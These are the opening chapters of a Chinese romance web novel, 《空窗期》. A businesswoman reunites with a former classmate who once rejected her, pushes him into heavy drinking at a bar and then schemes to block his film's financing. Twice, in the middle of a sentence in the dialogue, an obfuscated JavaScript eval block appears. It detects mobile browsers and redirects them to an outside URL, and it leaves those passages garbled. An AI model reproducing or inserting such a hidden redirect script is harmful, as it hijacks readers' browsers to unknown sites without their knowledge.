《空窗期》 1. 重逢 01 下飞机没多会,沈程硕的电话就卡着点打了过来。 才结束了长途,从M国落地京城,商今悦实在提不起什么精神,任由手机在大衣里响了好一会,半阖着睡眼,等面前的传送带将自己的行李转过来。 男服务生低头将行李拿了下来,递到她手边,还是没忍住又多看了她一眼。她正巧看向对方,颔首一笑,接过行李:“谢谢。” 抬手呼吸间飘着股淡淡的栀子香,那男孩的脸颊瞬间烧了起来,感觉心脏都快飞出来了:“没事没事……” 直到目送她走远,心跳也久久难以平复,他忍不住暗暗自嘲一句,要说在京城,什么好看的男男女女没见过,居然能看愣了神。 毕竟这么惹眼独特的,他还真是头一回接触到。 走了小半截路,直到沈程硕第二个电话打过来,商今悦才懒洋洋地把还在震着的手机掏了出来。 她叹了口气,挤出来个还算温和的语气接通:“我刚落地呢,你怎么还不睡?” “相思病,睡不着啊……” 电话那头的男人打了个哈欠,困倦喑哑的尾音听起来没比她精神到哪去。 毕竟隔了大半个地球的时差,他那边大概是现在京城时间的凌晨五点多:“十多个小时没听见你的声音了,我心里不踏实。” “少来,之前我没来看你的时候,你在M国留学那三年怎么过的?” 商今悦哼了声,迈开长腿信步朝着机场外边走边说:“是不是还得把我之前发的语音,全刻成光碟反复收听‘治疗’呢,患者?” “你怎么知道我没刻呢,商医生。” 沈程硕不带犹豫地脱口而出:“这不是之前的都听了三年听出耐药性了,才来找你要新方子了嘛。” 商今悦被无语到泄了口气,下一秒,两个人都禁不住,一起发出了笑音。 “你辛苦了。” 沈程硕不再打趣她,声音恢复了一如既往的低沉悦耳:“我昨天给刘叔交代好了,现在应该在机场门口等你。” 商今悦也正巧同一时间看见了远处,一个三十多岁的高而壮的中年男人,朝着她的方向挥着手,正是电话提到了的“刘叔”,沈家的司机刘杰。 她对刘杰点点头,顺便回应沈程硕:“嗯,已经看见了。” 她加快了脚步,沈程硕又絮絮叨叨叮嘱了好些事,末了忽然停下,轻轻唤了声:“今悦。” “嗯?”商今悦挑挑眉。 “唉,又回到京城的花花世界了,还能想起我吗?”语气轻佻,尾音带笑。 隔着手机,商今悦都能想到沈程硕正撑靠在枕边,笑盈盈地眯起一双明亮的桃眼的模样,简直是道不尽的勾魂摄魄。 “当然会啊。” 商今悦扬起唇角,也顺便吹捧他两句:“毕竟整个京城,上哪儿还能找到第二个比我哥还漂亮的男人。” 电话那头的安静了片刻,轻笑一声后叹道:“算了,嘴贫不过你,到家记得发个消息。” “嗯。” 总算挂了电话,商今悦的表情几乎是立刻就冷了下来,再看刘杰的方向,身旁居然冒出来一个矮他半截的窈窕身形。 那人穿了身俏皮的牛仔背带裙,扎着马尾,个头不高,小小的一张脸五官却生得大方,属于逢年过节长辈们都会争着往怀里揉的瓷娃娃模样。 “岑溪音?” 商今悦走近,一眼就认出了对方:“你怎么在这?” “以为我想来啊?看你回国连个来接的人都没有,可怜兮兮的。” 稍微了解她一点的人都再不会被她这副皮囊蒙骗,更不说和她从小一块儿长大的商今悦。 岑溪音做为制药世家岑家的宝贝独女,早就在家里人含着、哄着地养大过程中被惯坏了脾气,是个和“乖巧”完全不沾边的刁蛮千金。 岑溪音的突然出现,只有可能是又有什么鬼点子要拉她一块儿了。 商今悦叹了声气:“先说好,我今天哪儿也不去。刚飞完十几个小时,累着呢。” 岑溪音见商今悦不接茬,伸手将她搂过来,一边晃悠一边阴阳怪气道:“怎么就不找我玩啊?是嫌我这个电灯泡烦,在M国一个多月还没黏够,回家还要跟你的未婚夫再多煲一会电话粥,继续甜~蜜~蜜~啊?” “滚蛋。” 商今悦被她晃得头晕,无奈地笑着把她推开,肯定是看见了自己和沈程硕打电话借题发挥。 两人说笑了会,等刘杰放好了行李上车。 正逢京城下班的高峰期,路上无可避免地堵了起来。 岑溪音坐不住,开始八卦起她和沈程硕:“不过说真的,你真打算和沈程硕结婚啊?” 商今悦没有立刻回答,从车前镜里瞄了眼刘杰,刘杰与她的视线相接,立刻识相地升起帘子,阻断了前后排的视线和声音。 “不然呢,你当是过家家结着玩的?” 商今悦看车窗外的阵势,还得堵上几个小时,索性翻身,调整椅背往后躺下,放松了准备小憩。 “不是……我还是不明白,你什么时候跟他好上的?” 岑溪音挪过来把脸靠在她肩膀上,伸手把她推醒:“我们仨一块长大,你俩一个爹妈一个家,同吃同住这么些年,我一直拿你俩当亲兄妹看,你俩现在突然好上了……就不别扭?” “谁跟他一个爹妈……我俩到底是不是亲兄妹,别人不清楚你还不清楚吗?” 商今悦被问得头疼,背对岑溪音,不耐烦地耸肩把她的手和脑袋都抖下去:“滚滚滚,我上飞机开始就头疼,让我睡会。” “我就是好奇,你俩一个户口本……真能结啊?” “……早就没在一个本儿了。” 两人曾经确实同个户口本上的“家人”。 商今悦亲生妈妈,是三十年前国内海外红极一时的歌剧演员,她爸也是当时京城叫得上号的企业家。 两人一见钟情,婚后生活幸福非常。 一切欣欣向荣的那年,妈妈在生她的时候难产去世,她爸也在三年后殉情。 本该是含着金汤匙出生的商今悦,一夜之间成了孤儿。 父母亲缘浅薄,好在她爸年轻时有个忘年交——也是沈程硕的爷爷沈志华,于心不忍,便收养了年幼的商今悦。 从小到大,她和沈程硕做着名义上的亲兄妹,一起生活长大。 但对沈家人摊牌了两人的恋情后,她就和沈家断了收养关系,从沈家和户口本上搬了出来。 沈家没人拦着。 沈老爷子说她成年了,就由着自己的想法去,几年前病倒后,更没精力再管家事。 沈家那两口子就更不说,她是沈老爷子带大的,跟他俩本来就没什么感情。 况且那俩人本来就不怎么喜欢她。 自从知道了自己的宝贝儿子也被她拐跑后,更巴不得她赶紧搬出去。 反正她平时看那两人也碍眼,搬出来正好方便做自己的事—— 那时候沈老爷子病得厉害,沈家夫妇没什么经商头脑,她立刻趁沈程硕出国,打着沈家孙女的名号,接手了沈家的程阳集团的领导人位置。 沈家是老爷子做主,老爷子没意见,沈家那两口子就不敢反驳。 一切拍板定音后…… 她就开始每天忙得脚不着地。 就连最近去探望沈程硕,也是借着去M国谈合同的由头,难得抽出了一个月的空闲,更没什么时间和那两人联络,关系也就日益冷淡,只剩逢年过节客套问候几句了。 商今悦回想时也回味过来,算算日子也该去看看老爷子了。 岑溪音凑过来打断了她的思绪。 “跟谁结也别跟那老黑心莲啊,你看他有个好人样吗?再说了,你这一眨眼就步入婚姻的坟墓了,我自个儿找帅哥玩多没意思?” 商今悦翻着日历敷衍:“嗯嗯嗯……接着一起玩呗,他又管不着我。” “我可不敢。” 岑溪音嘴一咧:“你现在都要成家了。沈程硕那老黑心莲,要知道我还在外面给你找鲜花绿叶,不得暗地里给我活剐了……你到底看上他什么了啊?” 商今悦直言:“脸,好看。” 岑溪音顿住,回想起沈程硕那张韵味十足的脸,说不出违心话:“……是有那么点道理,但也不能只看脸吧?” 话说一半,她又双眼一眯,笑得暧昧:“再说了,你就放心把他丢M国两三年,不担心他被什么美人香玉给勾跑了?平时跟你报备的名单是不是一长串?” 商今悦算是看明白了,今天不跟着岑溪音的心思走,恐怕耳根就别想清净。 她索性放下手机:“报备什么?跟我炫耀他今天又拒绝了多少个投怀送抱和出轨的好机会吗?” 岑溪音笑:“嘿,好没意思的话……” 商今悦耸肩:“他要是无聊到来跟我说这些,我会立刻在车外面挂上联系方式去京城溜达一圈。从此他沈程硕头上的绿帽子一天一换,能从女娲造人带到全息时代。好让他看清楚,我要是想出轨,能有多简单。” 岑溪音指着她笑骂:“你这张嘴……真缺德。” 商今悦故意学着岑溪音的腔调,捏了捏她的下巴:“您再仔细瞧瞧,就老子这身价,这张脸,他都恨不得把眼睛安我身上当监控守着,好数数岑大小姐今天又给他安排了几个男狐狸精情敌,哪还有心思想别的。” “啧,脸皮真够厚的,别拉我下水……” 岑溪音嘴上嫌恶,打走商今悦的手,心里无不认可。 商今悦接手程阳集团时,基本是从零开始的。 三年里能在近乎孤立无援的情况下,将程阳的影响扩大近一倍,还一跃成为京城内无人不知的商圈新锐…… 除了脾气臭、说话难听了点,各方面都优秀到超出常人。 旁的一眼看不出的不说,光是看这张脸,那也是实打实的漂亮出挑,认识这么久,岑溪音现在都还会被时不时惊艳到。 皮肤如白瓷般亮而清透,在此之上,五官用来“精雕玉琢”来形容毫不为过。 尤其是一双锦上添花、微微上挑的眼睛,给原本清纯的长相,添了几分不认服的精明和韧劲。 这些年因为接手了集团上下的事,不分昼夜作息地奔波全国各地,她眼下的皮肤熬出了一圈不怎么健康的红,看起来气色疲惫,十分惹眼。 但商今悦本人不怎么在意,美人也根本不需要刻意矫饰。 只需要随便地坐着、躺着,都美得不留余地。 看过去的时候,她的视线流转,还沉浸在自己的思绪里,随意披散着弯曲柔软的长发搭在肩上,带着清淡的栀子花香,勾得人呼吸轻滞。 每一处都美得让人看得挪不开眼,哪还能觉察到眼下这丁点儿的瑕疵。 即使被人注意到了,那一刻心里也只会想:这双眼睛,可真是漂亮。 虽然勉强认可了两人相貌上的般配度,岑溪音还是难以接受两人要结婚的事,腿一伸:“你也知道不缺他一个男的,结什么婚啊,没劲。” 商今悦坐起来,把话题转开:“别拐弯抹角了,介绍一下吧,又看上哪家新乐子了?” 岑溪音嘿嘿笑着,凑近她耳边:“我最近投资电影,认识了一长得特带劲的男的,不知道比沈程硕好看多少倍。” “别光说,先看看照片。” “看照片有什么意思!” 岑溪音一拍手:“今天老李老婆的生日,我把那男的也叫上了。老李新开的酒吧,就在这附近,绕个道的功夫,去不去?” “别人生日我空着手去?” 商今悦不太乐意,她一直就不爱去这些场合。 近几年好不容易在程阳集团里立稳了脚跟,闹出点什么有的没的绯闻出来,影响股市。 “我晚点叫人准备了咱俩的那份,一起送他俩家里,去嘛去嘛……” 架不住岑溪音的死缠烂打,在路边堵着车也实在无聊。 商今悦起身:“刘叔,你先把我东西带回去吧,我和溪音好久没见了,附近玩会。” 刘杰应:“好。” 俩人立刻下了车,岑溪音打了好几个电话,很快路边就来了辆车,载着她们稳稳停在了一家酒吧前。 这家酒吧的老板李煜文,已经在门口等了很久,满面春光地迎过来:“哟,稀客啊,M国玩得怎么样?” “没什么意思。” 商今悦左右看了看:“你这边……没什么不干净的吧?” “放心,带我媳妇儿来的,这儿的人嘴都严。” 他边说边从包里找了根烟给商今悦递过去,调笑:“商总这几年是不一样了啊,什么时候出来玩都小心翼翼的了?” “你都叫商总了可不嘛,那可是程阳集团,人家能不起范儿吗?” “了不起、了不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207478|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 两人挤眉弄眼地互相作揖,商今悦翻了个白眼。 除了从小玩到大的岑溪音,李煜文算是圈子里她们俩走得比较近的太子党,还能信得过。 她伸手两指接过那根烟,静静等李煜文将它点燃,凝视着火光渐弱后,才渡到唇边。 随着一声缓慢的叹息,她紧闭上眼,沉重地呼出一口雾气。 片刻,她抬手示意酒吧,换了话题的枪口:“不是说你这来了个谁,把我们岑大小姐迷得魂牵梦绕吗,人呢?” “嘿。可说,岂止是岑大小姐……岑溪音,你等会赶紧把这祖宗接走,都快成我酒吧的男明星了,再晚点我怕我媳妇儿就得考虑谈个新男朋友了。” 商今悦禁不住笑出声:“有你说的那么邪乎吗?” 李煜文快走在前面带路,没有直接进酒吧,而是绕到了后面的VIP通道,边走边抱怨。 “那小子是长得确实标志,能说会道的,别说包厢其他小姑娘了,连我媳妇儿快都被哄直眼了。” 岑溪音不无骄傲地碰了碰商今悦的胳膊嘚瑟:“听见没,客观评价,可不是我吹牛。” 商今悦无奈:“希望这次别又是哪个乐队领唱或者DJ。” “人家是正儿八经的编导。” 岑溪音郑重其事地纠正:“我不都跟你说了吗?我最近投资电影呢。” 商今悦冷笑:“那你这次准备砸多少进去?” 岑溪音歪了歪嘴,耸肩摇头惋惜一套走完:“我刚刚不都说了,人家是正经编导,正经投资,我砸钱没用,人根本不吃这套。” 商今悦放下烟,敲了敲她的脑袋:“没问你准备拿多少钱撬人,我说电影投资。” 岑溪音错愕后尴尬:“啊?电影……还没到那一步,哈哈……哪说起呢……” 就知道。 岑溪音见状也不装了,笑着伸手揽上她的手臂:“别光说我,商总也投个电影拍拍呗。” “别,我没闲工夫弄这些。” “那不说电影,看上人的话也投点?” “十几分钟前,你还在害怕远在M国的那位黑心莲要活剐了你……” “到了。” 说话间,三人来到一座包厢前,李煜文推开门,包厢里正坐着的十几个人目光纷纷看了过来。 李煜文介绍:“这位是我的两个朋友,商今悦,岑溪音,刚从M国下飞机赶过来一起玩,大家不介意吧?” 李煜文的老婆于欣认识两人,连忙起身招呼:“这能有什么介意的,两个妹妹好久不见了,快来坐,咱们这边热闹呢……” “刚跟小帅哥聊到哪儿了?” “去山上取景?来来来接着说……” 众人的视线除了汇集门口,还有大部分停留在坐在沙发靠边位置的一个男人身上。 那人低头摸着脑袋陪笑:“口有点干,让我缓缓吧姐姐们,你们先聊……” 他穿了身宽大的复古拼色夹克,和一条深灰色的水洗牛仔裤。身形修长矫健,宽肩窄腰,少年气十足,只是一直埋着头,商今悦这个角度,只得见一头墨发浓密。 灯光昏暗,但即使看不清他的模样,也能分辨出身材不错,审美在线,还很会打扮,应该长得也不会太差。 但只是看了一眼,商今悦毫无波澜地挪开视线,瞄着四周空余的位置:本来就是为了糊弄岑溪音来的,没什么心思看人,只想找个位置坐下混满时间。 于欣注意到商今悦,于是叫那人:“小宴啊,你先给两个女孩腾个位置。” “好嘞,欣姐。” 那人答应地爽快,声线明朗,立刻站了起来让出了位置。 站起来时,商今悦才注意到这人长得身高腿长的,在她面前“嗖”的一声,像是一座山挪了起来。 还没等她回过神,那人已经三两步走到了她和岑溪音的后方,弯腰向前伸手,示意空出的沙发方向:“两位姐姐快坐。” 商今悦闭目打了个哈欠:“谢谢。” 刚坐下,那人说话的声音就又响起来,正一边往门口走去,一边抬手示意于欣:“欣姐,酒没了,我出去问问。” “诶!” 就在他快走出包厢的前一秒,岑溪音过去把那人直接拉了过来。 “你跑什么啊?有服务生呢。我今天可是为了你的电影,特意带了商总过来,赶紧过来好好表现。” 那人没料到岑溪音突然拽他,猝不及防地回身,扭头就和坐在沙发上的商今悦对上了视线。 商今悦的瞳孔收紧了一瞬。 那人果然生得一副生人勿近的冷峭面孔,浓眉长睫的模样甚至称得上一句漂亮,却没有一丝阴柔气。 五官整体看着偏沉稳,鼻梁高挺,眼窝深邃,弯而垂的眼眸漆黑带刃,茫然睁大眼望过来时,却多了几分介于男人成熟和少年青涩之间的俊美。 岑溪音的形容完全不夸张,混迹京圈这么多年,商今悦自认为沈程硕的脸已经她见过数一数二的了,没想到这人居然和沈程硕有得一拼。 不过她此刻感到震惊,并不是因为他长得有多好看。 这个人的脸,她认得。 岑溪音把他扯回到了商今悦面前:“介绍一下,这位是程阳集团的商总,这位,就是我跟你说过的那个新人编导,宴北川。” 事到如今已经逃无可逃了。 宴北川硬着头皮干笑了两声,暗暗祈祷对方没认出自己:“商总好,幸会幸会……” 商今悦盯着他的眼睛,直到对方脸上的笑彻底僵硬,才唐突地笑出了声来:“不该说‘好久不见’吗,老同学。” 岑溪音惊讶:“这么高兴,你们认识?” 商今悦笑意更甚:“认识,大学同学,一个社团的。” 宴北川浑身一僵,慢半拍地点了点头。 岑溪音:“早说嘛,还是熟人,那不就更有的聊了……” 岑溪音和她不在一个大学,所以不知道…… 他们俩人岂止是熟悉。 当年他们的暧昧传闻闹得沸沸扬扬,以至于那时他们每个人都觉得他们会走到一起。 他们谈过心,约过会,在夏夜的操场一起并排散步,轻碰对方的手背试探牵手。 就在差一步可以成为恋人的前夕,宴北川忽然毫无征兆地拒绝了她的表白。 还当着她的面,将她酝酿了一周的情书丢进了垃圾桶。 2. 游戏 02 完蛋。 宴北川为难地挤出个笑,心死了大半。 他和岑溪音的认识纯属意外,就是在剧组打了声招呼,压根没敢想居然入了岑大小姐的法眼。 岑大小姐也许只是一时兴起,也可能是真的认真。 但无论哪种情况,摆在他面前的事实只有一个:岑溪音绝对是他得罪不起的人。 岑家是制药世家,虽说在娱乐圈没什么产业,但商圈互通,以岑溪音的家世背景,得罪了她基本就和圈里大半资源说再见了,更不说他现在电影还在最关键的融资环节。 融资还八字没一撇,手上就多了一块烫手山芋。 他当然想过岑溪音这次把他叫来酒局可能设了什么圈套,但他不得不钻。 兵来将挡,水来土掩,多结识些人脉也是好事。 但他怎么也没想到,会有个这么大的“惊喜”在等着他。 其他人当然没从他们的对话中听出什么端倪,因为商今悦也像没事人一样抽完了烟,掐灭了后随手丢了垃圾桶。 李煜文不知道什么时候叫了几个服务生过来,加了几张椅子顺带添了酒。 岑溪音把宴北川叫过来聊天,他不死心地挣扎了两句想跑,不出所料地被岑溪音驳了回去。 他最终选了个最靠边的位置坐下。 岑溪音和宴北川说话的时候,话题不知道什么时候已经转到了商今悦身上。 几个女孩不无激动凑到她身边:“您就是程阳集团的商总吗?久仰大名,没想到能在这里遇见您呢。” “商总,喝一杯吗?” 一个女孩推了杯酒过去,商今悦笑意温和:“饶了我吧,我才下飞机,脑子还晕呢,再喝几口酒,岑溪音等会都该抬不动我了。” 那人以为是商总不赏脸,磨了句:“这果酒,度数不高,甜口的,跟水差不多,就咱们姐妹几个聚餐喝着玩的。” “哎,真不能。” “商总给个面子嘛。” “我明天还得回公司忙工作呢。” 商今悦摇了摇头,目光转了一圈,停在刚刚坐下的宴北川身上,抬起下巴示意:“这样吧,他替我喝,怎么样?” 宴北川神色一下子变得尴尬,扯了扯嘴角:“我吗?” 众人也失落:“敬给您的酒,您这么推给一个不相干的人,太不够意思了。” “怎么不相干呢。咱们光喝酒也没意思,玩个游戏给嫂子的生日热闹热闹吧。” 商今悦不无深意地笑了笑,看了看时间,从包里翻出来两张空白支票放在了桌上。 “溪音,来的时候不是说宴导最近在找电影投资吗?这会离嫂子生日还有一个多小时,他来帮我挡酒,咱们包厢今晚开一瓶酒,我就往支票上多加五万。” “0点之前,要是他还能站着走出包厢,这支票就归他,当我送他投电影的;他要是没喝过大家,这就当是我给大家发的红包。另一张支票上面我写一样的金额,就给嫂子当生日礼物了,大家怎么样?” “好啊好啊……” 包厢里附和着,尤其是岑溪音。 岑溪音还以为是商今悦对宴北川有兴趣,瞬间就来了劲,大腿一拍喊李煜文:“那光喝果酒有什么意思,老李,之前我不是在你这整了几瓶好酒吗?快拿过来……” 只有宴北川被架在火上烤,吓得连忙拦她:“不不不,岑总,我酒量差、酒品还差,等会喝醉了闹笑话……” “你还不懂商总的意思吗?这是给你机会呢,喝两瓶算什么。” 岑溪音拍了拍他的肩膀,眯起眼意味深长:“你该不会还不知道商总是谁吧?” 怎么可能不知道,大学时期两人都快熟透了。 但宴北川不敢开口,连眼神都不敢往商今悦的那边看。 岑溪音一副了然的表情,组织了半天语言,也没想好从哪开始介绍。 最后她干脆就先催促李煜文拿酒,一边摆手:“跟你说多了你也不明白,这大女的,比我厉害多了。程阳集团知道吧?上上下下都是她一个人说了算。今天你帮商总喝赢了,不光投资你那小电影,娱乐圈里的你随便挑,龙套到主演全给你塞一线演员,甭管什么咖位,全都能给你整过来。” “我就一个新人编导,哪压得住那些好演员,不用商总费心……” 宴北川起身无力的辩解,很快被人群的欢呼声盖过,李煜文直接叫人抬上来了好几箱珍藏。 宴北川无意间扫过沙发,看见商今悦正安静地坐在喧闹的人群中看向他。 对视期间,商今悦脸上挂起了一抹迷人的笑,一双倾尽风流的眼中满是轻佻玩味。 随后,她悠悠地翘起腿,端起桌上那杯原本敬给她的果酒,隔着人群对宴北川遥遥举杯,挑眉,渡到唇边轻抿一口,做了个口型:goodluck~ 好笑,她商今悦怎么可能会放过他。 当年是她在沈家还说不上话,那年宴北川又突然退学,她不得已放了他一马。 本来这些年她都快忘掉这码事了,没想到好巧不巧又给遇上。 算是老天爷赏他报应吃。 那可是她这辈子第一次情窦初开,为数不多的少女情怀时刻,就这么被他丢进了垃圾桶。 要今天之后还让他在自己眼皮子底下过上了安生日子,她商今悦从此名字就倒过来写过。 宴北川知道是逃无可逃了,趁众人忙碌的时候,联系了朋友到点抬他回去,硬着头皮上了。 包厢来的人一共九个,从商今悦踏入这个包厢起,生日会的性质基本上就变了,基本都是围着商今悦高兴打转,都忙着给宴北川灌。 一杯杯红白色的酒递过来,跟喝水似的,宴北川还要时不时地打起精神侃几句暖场子。 酒精上头后,人心里头会越喝越不安。 宴北川倒也不是觉得喝酒算什么,怕就怕这些都还只是商今悦给他的“开胃菜”。 分不清时间和话语,外界的声音逐渐像是隔着一层厚厚的膜响着,笑声、呼声…… 眼前画面模糊交叠,他隐隐只看见商今悦的身影不为所动,只是坐在沙发上默默观察着他们的交谈,胃里突然感到一阵翻涌,索性借着上厕所的理由躲会酒。 一关上门他就再也忍不住,扶着洗手台开始吐个不停,吐到最后他感觉腿都发颤了。 宴北川抬头,看到镜子里已经没多少血色的脸深深叹了口气,捧了把水泼到脸上,试图让自己清醒一些。 但门外的酒味一飘进来,他就难受得不想踏出这门半步。 他倒是很希望自己现在就晕在厕所里,可惜他身体素质太好,足够支撑他清醒地感受到酒精是怎么折磨着身体的每一个细胞。 他猜的很对,商今悦今天就没打算让他好端端地走出酒吧。 出生之前,父母就给她敲定了“今悦”的名字。 虽然他们都死得太早,没时间告诉她取定这个名字的用意,但不难看出来,他们大概是希望她一天赛一天快乐地活着。 所以为了实现爸妈的美好愿望,商今悦一直秉承着这项原则活着。 开心了拍板,生气了掀桌。 接手程阳集团之后,更是从来没生过隔夜的气,前一秒有了滴水之仇,下一秒就涌泉相报。 这场时隔五年的窝囊气想起来得太晚了,晚到商今悦坐在沙发里,边看他们喝酒边想了一宿收拾他的损招,还是觉得怎么都不解气。 居然有人傲慢地糟践了她为数不多的真心之后,还安然无恙地渡过了五年平稳生活。 商今悦盯着卫生间紧闭的门,不着急这一时半会:现在才知道躲,今天他就是请来天王老子都没用。 没想到宴北川的狗屎运太好,没请来天王老子,倒等来了她真老子。 手机铃声响起,备注是“老爷子”,她皱起眉,示意岑溪音让所有人安静下来后接通电话。 对面没有传来老爷子的声音,是沈家的保姆陈月瑛柔声:“小姐,你到家了吗?杰叔说您还没回去呢。” “没回呢,和几个朋友在外面玩。” 陈月瑛又压低了声音:“小姐,沈老爷没睡,还在等您消息。” “他不是在住院吗?都这么晚了还不休息,等什么消息?” 商今悦坐直起身:“都这个时间点了,我过会肯定也直接回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207479|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家了,去不了医院看他啊。” “我说了啊,可是……” 陈月瑛微不可察地叹了声气:“老爷子今天看新闻,您回家路上的那个高架,早上出了车祸。杰叔没接到你回家,老爷子说什么也等你到家报个平安才肯睡。” “我都什么岁数了……” 话是这么说,想起沈老头前几年脑出血身体本来就不好,熬夜再熬出个三长两短,她可担不起这责。 最终她不耐烦地答应:“让他赶紧睡,我半个小时后到家再给他打电话。” 包厢里安静的时候,大家也都听见了大致内容。 挂了电话,岑溪音嗓门一扯:“这就要跑了?我们才开了三十多瓶呢。” “行行行,我认我认……” 商今悦边敷衍边找到了自己的包,桌上拿过准备好的笔,在两张支票“百十万”位依次划了个“250”,就一股脑地都塞去岑溪音怀里:“老子再多送你点,给你凑个跟你般配的幸运数。” 岑溪音揣着二百五十万的支票笑骂:“嘿,你是真狗啊,支票不写全了谁知道你赖不赖账……” “差什么你明天来公司找我补,我要再晚回去老爷子气抽过去了,就真要把你收拾成二百五。” 商今悦装出怒意的样子逗完了岑溪音,提起包就准备离开,好死不死宴北川刚推开卫生间门走出来。 宴北川本来是抱着视死如归的心态推开门的,看着众人的架势要欢送商总的架势,差点没压住嘴角:“商总……是准备走了吗?” “哎,对啊,临时有事。” 岑溪音遗憾,走上前把其中一张支票递给商今悦:“小宴也喝了不少,这张就归你吧。” “谢谢岑总商总支持!” 根本不等商今悦开口,宴北川立刻接过大声致谢。 没法借题发挥,今晚老爷子的事显然更重要。 被这小子侥幸逃过一劫。 商今悦气得牙痒痒,于欣的生日,又不能当着众人的面发作,最后拿起支票“啪”地一巴掌砸在宴北川的胸前。 “辛苦了,给你的。” 商今悦一字一顿,凑过去一步压低到只有两人能听见的音量:“你也和这个数字很配。” 她说完便松开手,扭头对于欣笑了笑:“嫂子生日快乐,我今天就先回去了。” 于欣微笑:“路上小心啊。” 她扭过头就黑下脸往外走,到包厢门口,又忽然想起什么:“小宴,我不认路,你带我出去。” 宴北川手里的支票都还没攥热:没高兴半分钟呢。 李煜文起身:“我带你去……诶!” 他话没说完就被岑溪音一把拉回来:“你不留着给你老婆过生日,瞎凑什么热闹,人家让小宴去,就小宴去呗。” 李煜文半梦半醒地点着头,宴北川哑巴吃黄连,苦巴巴地笑着又起身:“我带您出去。” 两人一路无言。 宴北川喝酒的时候没什么,脑子一吹风却醉得更厉害了,在路边陪她等车时,差没当场昏过去。 意外的是,商今悦也没有特意找他的麻烦说话聊天。 直到一辆rs7稳稳停靠在两人面前,刘杰走过来为她打开车门,商今悦却忽然转身盯住宴北川:“你以为就这样结束了吗?” 宴北川只感觉自己今晚的假笑次数,已经多到五官失去知觉了。 “你以后就会后悔,今晚为什么没有为了你的电影,再努努力多喝几箱。” 商今悦戏谑地笑了笑,转身顺着刘杰坐进了车内。 车行驶不到五分钟,商今悦翻出了自己助手陶舟岳的电话。 半分钟后终于接通,电话那头传来打着哈欠的男音:“……商总,您时差还没倒过来吗?” “少废话。” 商今悦压住怒气:“我等会给你发个人,是个电影编导,明天之内不管用什么办法,卡住他电影的所有融资。” “谁得罪你了,要给他行业里弄死?” “弄死多没意思。” 商今悦冷哼着:“别让他项目死了,再给他多找几个麻烦,给他留一口气,又喘不上气。” 3. 再遇 03 回家给老爷子报了平安,商今悦就一头倒进床睡到了第二天中午,下午神清气爽回了公司。 虽然宴北川的侥幸脱逃让她很不爽,要搁以前,她高低也得专门找个时间亲自报复回去。 但今时不同往日,她现在已经是程阳集团的领导人,上上下下多少张嘴等着吃饭,单单是她离开公司这一个月时间里,办公桌上就累起来了座文件山,全是需要她亲自过目签定的项目。 忙完一天后天又黑了,她连探望老爷子的时间都空不出来,哪来的空闲想怎么收拾宴北川。 再者,看了陶舟岳整理的宴北川的全部资料后,她实在觉得没什么值得在他身上花时间的理由。 宴北川迄今为止的人生没什么特别的地方,甚至算得上艰苦。 他是单亲妈妈带大的孩子,当年大学突然辍学,是因为他妈妈那年查出了肺癌,为了凑医药费,他被星探捡走做了两年模特,但妈妈后来还是没抗住走了。 他销匿了半年后,又重回了娱乐圈,但没人脉没演技没唱功,除了外形条件,在俊男靓女如云的娱乐圈,简直是一无是处,没什么名气。 悄无声息地跑了几年龙套,昨年突然狗屎运爆发,结识了圈里几个有点名气的导演和资方,意外发现他在编导方面还算得上有天赋,跟着参与了几部电影的制作,势头正盛,今年刚准备翻身做编导,拍摄自己的第一部电影。 然后就遇到了她。 商今悦打了个哈欠,合上那份文件随手放在了桌上,仰躺在椅子里,百无聊赖地左右半圈转悠着思考:“融资那边还是给他卡着,但不用联系所有人都全部撤资了。差不多把我给他补的那二百五的空子,再重新给他腾回去就行。” “就是让他自己再想办法多搞二百多万呗。” 一旁等候多时的陶舟岳上前拿走文件,嘿嘿笑了声:“商总,你这还是心软了啊,我也觉得这人怪可怜的。” “很有创意的想法。” 商今悦暗暗翻了个白眼:“你等会出去后,去财务部那报到,就说是我给你出钱,免费给你做个体检。” 陶舟岳一头雾水:“怎么突然要体检?” “好好查一下你的脑子啊。” 商今悦支着头冷冷地瞥了他一眼:“查查它长在你脖子上面,是不是只是用来凑数增高的,才会让你觉得,我会对一个得罪过我的人心软。” 陶舟岳听懂了商今悦的嘲讽,埋下头:“那商总您的意思是……” “收拾这种人要费多大功夫?要什么没什么,最宝贝的不就是他那个电影吗?” 商今悦披着条灰白色的薄毯起身,走去窗边透气,微微舒展了下身体。 “圈里没了人愿意给他融资,二百来万,他白天三份工、晚上连夜赶去非洲挖矿,都得凑个五六年。你当给他融资的老板是他相好啊,愿意一直把钱砸他那好几年,就为了拍一部连成本都不一定能赚回来的新人电影?” “这不是觉得,不怎么符合您以前的行事风格嘛”,陶舟岳一边找补一边擦了擦紧张的汗。 商今悦漫不经心看着窗外的风景,扬起唇角:“一个普通人的一辈子能翻身的结点能有多少?错过了这一个,他还有多少时间和耐心等下一个?过个两三年,他就只能老老实实地退出娱乐圈,再过个几十年,工作、结婚、生子,最后结束一场他毫无波澜的一生。” 程阳集团的位置极好,她站在总裁办公室窗前,可以将京城最繁华的夜景一览无余。 “觉得这个报复不好吗?” 她拢了拢披在身上的毯子,俯瞰着楼下的车水马龙,突然想到什么,嗤笑一声:“如果要我以后都过上那种无聊又窝囊的日子,我一定会冲上去,杀了那个毁掉我人生的狗东西,然后再从这里跳下去。” 